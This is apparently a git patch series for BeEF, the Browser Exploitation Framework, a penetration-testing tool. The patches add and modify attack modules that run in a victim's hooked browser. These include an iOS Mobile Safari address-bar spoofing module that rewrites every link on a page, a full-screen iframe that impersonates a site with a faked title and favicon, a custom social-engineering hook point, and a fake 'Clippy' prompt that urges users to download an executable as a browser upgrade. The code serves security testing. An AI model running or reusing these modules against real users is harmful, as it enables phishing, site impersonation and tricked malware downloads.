--- a/modules/browser/hooked_domain/deface_web_page/module.rb +++ b/modules/browser/hooked_domain/deface_web_page/module.rb @@ -16,7 +16,11 @@ class Deface_web_page < BeEF::Core::Command def self.options + configuration = BeEF::Core::Configuration.instance + favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico" return [ + { 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' }, + { 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' }, { 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' } ] end diff --git a/modules/browser/hooked_domain/site_redirect_iframe/command.js b/modules/browser/hooked_domain/site_redirect_iframe/command.js index 2a0c1a59f..f707b25f7 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/command.js +++ b/modules/browser/hooked_domain/site_redirect_iframe/command.js @@ -18,6 +18,7 @@ beef.execute(function() { var result = 'Iframe successfully created!'; var title = '<%= @iframe_title %>'; var iframe_src = '<%= @iframe_src %>'; + var iframe_favicon = '<%= @iframe_favicon %>'; var sent = false; $j("iframe").remove(); @@ -25,6 +26,7 @@ beef.execute(function() { beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } }); document.body.scroll = "no"; document.documentElement.style.overflow = 'hidden'; + beef.browser.changeFavicon(iframe_favicon); setTimeout(function() { if(!sent) { diff --git a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml index 1cc2d82bf..9e5d349c3 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml +++ b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: ["Browser","Hooked Domain"] name: "Redirect Browser (iFrame)" - description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.

The content of the URL bar will not be changed in the hooked browser." + description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.

The content of the URL bar will not be changed in the hooked browser." authors: ["ethicalhack3r", "Yori Kvitchko"] target: user_notify: ["ALL"] diff --git a/modules/browser/hooked_domain/site_redirect_iframe/module.rb b/modules/browser/hooked_domain/site_redirect_iframe/module.rb index 9d7860f51..8ca97afa1 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/module.rb +++ b/modules/browser/hooked_domain/site_redirect_iframe/module.rb @@ -16,8 +16,12 @@ class Site_redirect_iframe < BeEF::Core::Command def self.options + configuration = BeEF::Core::Configuration.instance + favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico" return [ { 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' }, + { 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' }, + { 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'http://beefproject.com/', 'width'=>'200px' }, { 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' } ] From f0b1d6d76fb0b508267442f6a943398edfbfab3e Mon Sep 17 00:00:00 2001 From: Ben Waugh Date: Wed, 16 May 2012 07:51:56 +1000 Subject: [PATCH 12/19] Updated CDE Generator UpdatedCan be run with: rake cde --- Rakefile | 28 +++++++++++++++++++++++++--- 1 file changed, 25 insertions(+), 3 deletions(-) diff --git a/Rakefile b/Rakefile index 4e736b699..adb1a8d14 100644 --- a/Rakefile +++ b/Rakefile @@ -165,10 +165,32 @@ task :cde do sh "make"; Dir.chdir ".."; puts "\nCreating CDE Package...\n"; - sh "./CDE/cde ruby beef"; - sleep (1); + sh "bundle install" + Rake::Task['cde_beef_start'].invoke + Rake::Task['beef_stop'].invoke puts "\nCleaning Up...\n"; - sh "rm -r CDE"; + sleep (2); + sh "rm -rf CDE"; puts "\nCDE Package Created...\n"; end +################################ +# CDE/BeEF environment set up + +@beef_process_id = nil; + +task :cde_beef_start => 'beef' do + printf "Starting CDE BeEF (wait 10 seconds)..." + @beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+") + delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 10 seconds + printf '.' + sleep (i) + end + puts '.' +end + + +################################ + + From 8f1aae97c842af3b93c4fac2e559a60ba955759b Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Wed, 16 May 2012 22:36:21 +0800 Subject: [PATCH 13/19] Fixes Issue #650 - iOS Safari Address Bar Spoofing Command Module --- .../mobilesafari_address_spoofing/command.js | 22 ++++++++++++ .../mobilesafari_address_spoofing/config.yaml | 30 ++++++++++++++++ .../mobilesafari_address_spoofing/module.rb | 34 +++++++++++++++++++ 3 files changed, 86 insertions(+) create mode 100644 modules/browser/mobilesafari_address_spoofing/command.js create mode 100644 modules/browser/mobilesafari_address_spoofing/config.yaml create mode 100644 modules/browser/mobilesafari_address_spoofing/module.rb diff --git a/modules/browser/mobilesafari_address_spoofing/command.js b/modules/browser/mobilesafari_address_spoofing/command.js new file mode 100644 index 000000000..7a0274480 --- /dev/null +++ b/modules/browser/mobilesafari_address_spoofing/command.js @@ -0,0 +1,22 @@ +var somethingsomething = function() { + var fake_url = "<%= @fake_url %>"; + var real_url = "<%= @real_url %>"; + + var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes'); + newWindow.document.write(''); + newWindow.focus(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked'); +} + +beef.execute(function() { + + $j('<%= @domselectah %>').each(function() { + $j(this).attr('href','#').click(function() { + somethingsomething(); + return true; + }); + }); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten'); + +}); \ No newline at end of file diff --git a/modules/browser/mobilesafari_address_spoofing/config.yaml b/modules/browser/mobilesafari_address_spoofing/config.yaml new file mode 100644 index 000000000..163bf3056 --- /dev/null +++ b/modules/browser/mobilesafari_address_spoofing/config.yaml @@ -0,0 +1,30 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + mobilesafari_address_spoofing: + enable: true + category: ["Browser","Hooked Domain"] + name: "iOS Address Bar Spoofing" + description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')" + authors: ["bcoles","xntrik","majorsecurity.net"] + target: + working: + S: + os: ["iPhone"] + not_working: + ALL: + os: ["All"] diff --git a/modules/browser/mobilesafari_address_spoofing/module.rb b/modules/browser/mobilesafari_address_spoofing/module.rb new file mode 100644 index 000000000..b5f95a712 --- /dev/null +++ b/modules/browser/mobilesafari_address_spoofing/module.rb @@ -0,0 +1,34 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Mobilesafari_address_spoofing < BeEF::Core::Command + + def self.options + return [ + {'name' => 'fake_url', 'ui_label' => 'Fake URL', 'type' => 'text', 'value' =>'http://en.wikipedia.org/wiki/Beef'}, + {'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'http://www.beefproject.com'}, + {'name' => 'domselectah', 'ui_label' => 'jQuery Selector for Link rewriting. \'a\' will overwrite all links', 'type' => 'text', 'value' => 'a'} + ] + end + + def post_execute + content = {} + content['results'] = @datastore['results'] + content['query'] = @datastore['query'] + save content + end + +end + From 1a85b6bc92b99a48e330e8eee74be919f69664a8 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Wed, 16 May 2012 22:41:51 +0800 Subject: [PATCH 14/19] Issue #650 - forgot the license on the js file - my bad --- .../mobilesafari_address_spoofing/command.js | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/modules/browser/mobilesafari_address_spoofing/command.js b/modules/browser/mobilesafari_address_spoofing/command.js index 7a0274480..48cbdaab1 100644 --- a/modules/browser/mobilesafari_address_spoofing/command.js +++ b/modules/browser/mobilesafari_address_spoofing/command.js @@ -1,3 +1,19 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + var somethingsomething = function() { var fake_url = "<%= @fake_url %>"; var real_url = "<%= @real_url %>"; From 74a3eef225fc462cb98f3f92745d2ed1d43768b2 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 17 May 2012 08:53:01 +0930 Subject: [PATCH 15/19] Moved mobilesafari_address_spoofing module to modules/browser/hooked_domain directory --- .../{ => hooked_domain}/mobilesafari_address_spoofing/command.js | 0 .../{ => hooked_domain}/mobilesafari_address_spoofing/config.yaml | 0 .../{ => hooked_domain}/mobilesafari_address_spoofing/module.rb | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename modules/browser/{ => hooked_domain}/mobilesafari_address_spoofing/command.js (100%) rename modules/browser/{ => hooked_domain}/mobilesafari_address_spoofing/config.yaml (100%) rename modules/browser/{ => hooked_domain}/mobilesafari_address_spoofing/module.rb (100%) diff --git a/modules/browser/mobilesafari_address_spoofing/command.js b/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js similarity index 100% rename from modules/browser/mobilesafari_address_spoofing/command.js rename to modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js diff --git a/modules/browser/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml similarity index 100% rename from modules/browser/mobilesafari_address_spoofing/config.yaml rename to modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml diff --git a/modules/browser/mobilesafari_address_spoofing/module.rb b/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb similarity index 100% rename from modules/browser/mobilesafari_address_spoofing/module.rb rename to modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb From a6a7536e736e7788e12df91756a8f132ced24970 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Thu, 17 May 2012 18:52:35 +0800 Subject: [PATCH 16/19] Issue #678 - Custom Hook Point Extension initial commit --- extensions/customhook/api.rb | 38 +++++++++++++++++ extensions/customhook/config.yaml | 24 +++++++++++ extensions/customhook/extension.rb | 33 +++++++++++++++ extensions/customhook/handler.rb | 61 +++++++++++++++++++++++++++ extensions/customhook/html/index.html | 18 ++++++++ 5 files changed, 174 insertions(+) create mode 100644 extensions/customhook/api.rb create mode 100644 extensions/customhook/config.yaml create mode 100644 extensions/customhook/extension.rb create mode 100644 extensions/customhook/handler.rb create mode 100644 extensions/customhook/html/index.html diff --git a/extensions/customhook/api.rb b/extensions/customhook/api.rb new file mode 100644 index 000000000..90a47bdb9 --- /dev/null +++ b/extensions/customhook/api.rb @@ -0,0 +1,38 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Customhook + + module RegisterHttpHandlers + + BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler') + BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start') + + def self.mount_handler(beef_server) + configuration = BeEF::Core::Configuration.instance + beef_server.mount(configuration.get("beef.extension.customhook.customhook_path"), BeEF::Extension::Customhook::Handler.new) + end + + def self.pre_http_start(beef_server) + configuration = BeEF::Core::Configuration.instance + print_success "Successfully mounted a custom hook point" + print_more "Mount Point: #{configuration.get('beef.extension.customhook.customhook_path')}\nLoading iFrame: #{configuration.get('beef.extension.customhook.customhook_target')}\n" + end + end +end +end +end diff --git a/extensions/customhook/config.yaml b/extensions/customhook/config.yaml new file mode 100644 index 000000000..9daf85e72 --- /dev/null +++ b/extensions/customhook/config.yaml @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + extension: + customhook: + enable: false + name: 'Custom Hook Point with iFrame Impersonation' + customhook_path: "/yougotchipmunked" + customhook_target: "http://www.chipmunks.com" + customhook_title: "Alvin and the Chipmunks.." + diff --git a/extensions/customhook/extension.rb b/extensions/customhook/extension.rb new file mode 100644 index 000000000..089425f23 --- /dev/null +++ b/extensions/customhook/extension.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Customhook + + extend BeEF::API::Extension + + @short_name = 'customhook' + + @full_name = 'Custom Hook Point with iFrame Impersonation' + + @description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks' + +end +end +end + +require 'extensions/customhook/api' +require 'extensions/customhook/handler' diff --git a/extensions/customhook/handler.rb b/extensions/customhook/handler.rb new file mode 100644 index 000000000..04b601094 --- /dev/null +++ b/extensions/customhook/handler.rb @@ -0,0 +1,61 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module Customhook + + class Handler + + def call(env) + @body = '' + @request = Rack::Request.new(env) + @params = @request.query_string + @response = Rack::Response.new(body=[], 200, header={}) + config = BeEF::Core::Configuration.instance + + eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html')) + + @body << eruby.evaluate({'customhook_target' => config.get("beef.extension.customhook.customhook_target"), + 'customhook_title' => config.get("beef.extension.customhook.customhook_title")}) + + @response = Rack::Response.new( + body = [@body], + status = 200, + header = { + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/html', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' + } + ) + + end + + private + + # @note Object representing the HTTP request + @request + + # @note Object representing the HTTP response + @response + + end + +end +end +end diff --git a/extensions/customhook/html/index.html b/extensions/customhook/html/index.html new file mode 100644 index 000000000..c1acd833a --- /dev/null +++ b/extensions/customhook/html/index.html @@ -0,0 +1,18 @@ + + + <%= @customhook_title %> + + + + + + + From 6ea46e72da6e5c536aa4471f465381d7ef0b112a Mon Sep 17 00:00:00 2001 From: vt Date: Fri, 18 May 2012 00:12:03 +1200 Subject: [PATCH 17/19] Updated command.js to support IE6 properly --- modules/misc/clippy/command.js | 51 ++++++++++++++++++++++++---------- 1 file changed, 36 insertions(+), 15 deletions(-) diff --git a/modules/misc/clippy/command.js b/modules/misc/clippy/command.js index b5f75d2dc..ebc03f06a 100755 --- a/modules/misc/clippy/command.js +++ b/modules/misc/clippy/command.js @@ -19,6 +19,7 @@ beef.execute(function() { * Heretic Clippy * @version 1.0.0 * @author sprky0 + * @modified vt & denden **/ function __clippyboot(run) { @@ -35,7 +36,6 @@ var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;} var HelpText = function(_question,reusable) { this.question = _question; this.options = []; - // this.key = key_override ? key_override : GUID.get(); this.key = GUID.get(); this.views = 0; this.reusable = (reusable === true); @@ -107,13 +107,20 @@ var ClippyDisplay = function(options) { this.div.style.bottom = 0; this.div.style.color = "black"; this.div.style.right = "60px"; - this.div.style.display = "block"; - var img = new Image(); - img.src = this.file_dir + "clippy-main.png"; - img.style.position = "relative"; - img.style.display = "block"; + this.div.style.display = "inline"; - this.div.appendChild(img); + if (navigator.userAgent.match(/MSIE/)) { + this.div.style.filter = "revealTrans(transition=12,duration=1.8)"; + } + else { + var img = new Image(); + img.src = this.file_dir + "clippy-main.png"; + img.style.position = "relative"; + img.style.display = "block"; + img.id = "clippyid"; + + this.div.appendChild(img); + } this.div.style.opacity = (options.visible === false) ? 0 : 1; @@ -139,9 +146,17 @@ ClippyDisplay.prototype.fadeIn = function(duration,options) { options.remain--; options.value += options.step; - _clipple.div.style.opacity = options.value; - if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); } + if (navigator.userAgent.match(/MSIE/)) { + imgfile = _clipple.file_dir + "clippy-main.png"; + _clipple.div.filters[0].Apply(); + _clipple.div.innerHTML=""; + _clipple.div.filters[0].Play(); + } + else { + _clipple.div.style.opacity = options.value; + if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); } + } return; } @@ -166,12 +181,19 @@ ClippyDisplay.prototype.fadeOut = function(duration,options) { options.value -= options.step; _clipple.div.style.opacity = options.value; - if (options.remain > 0) { - setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); - } - else{ + + + if (navigator.userAgent.match(/MSIE/)) { document.body.removeChild(document.getElementById("pipes")); } + else { + if (options.remain > 0) { + setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); + } + else{ + document.body.removeChild(document.getElementById("pipes")); + } + } return; } @@ -210,7 +232,6 @@ var PopupDisplay = function(o,options) { this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y"; this.message.style.padding = "8px"; this.message.style.font = "11.5px Arial, Verdana, Sans"; - // this.message.innerHTML = text; this.message.appendChild(o); this.div.appendChild(this.message); @@ -269,7 +290,7 @@ Clippy.prototype.findHomeBase = function(selector) { div.style.width = "300px"; div.style.height = "300px"; div.style.backgroundColor = "transparent"; - div.style.position = "fixed"; + div.style.position = "absolute"; div.style.bottom = "0"; div.style.right = "0"; From b8ba48af25bf2167aa67a9d1807a1d73dc802771 Mon Sep 17 00:00:00 2001 From: vt Date: Fri, 18 May 2012 00:12:43 +1200 Subject: [PATCH 18/19] Updated module.rb with a more sane respawn time --- modules/misc/clippy/module.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/misc/clippy/module.rb b/modules/misc/clippy/module.rb index fe99607ed..1f519bb74 100755 --- a/modules/misc/clippy/module.rb +++ b/modules/misc/clippy/module.rb @@ -20,7 +20,7 @@ class Clippy < BeEF::Core::Command {'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'}, {'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'}, {'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'}, - {'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '2000'}, + {'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'}, {'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'} ] end From b420fe05232512c6087b5dd1197e35bd94f19801 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Sun, 20 May 2012 00:05:02 +1200 Subject: [PATCH 19/19] When using safari as cross-domain proxy polling failed if firefox requested http://fxfeeds.mozilla.com/en-US/firefox/headlines.xml. The cause was JSON.stringify failing, so just through a try /catch round it --- core/main/client/encode/json.js | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/core/main/client/encode/json.js b/core/main/client/encode/json.js index 23c7317fa..0536180d5 100644 --- a/core/main/client/encode/json.js +++ b/core/main/client/encode/json.js @@ -18,9 +18,15 @@ beef.encode.json = { stringify: function(o) { - if (typeof(JSON) == 'object' && JSON.stringify) - return JSON.stringify(o); - + if (typeof(JSON) == 'object' && JSON.stringify) { + // Error on stringifying cylcic structures caused polling to die + try { + s = JSON.stringify(o); + } catch(error) { + // TODO log error / handle cyclic structures? + } + return s; + } var type = typeof(o); if (o === null)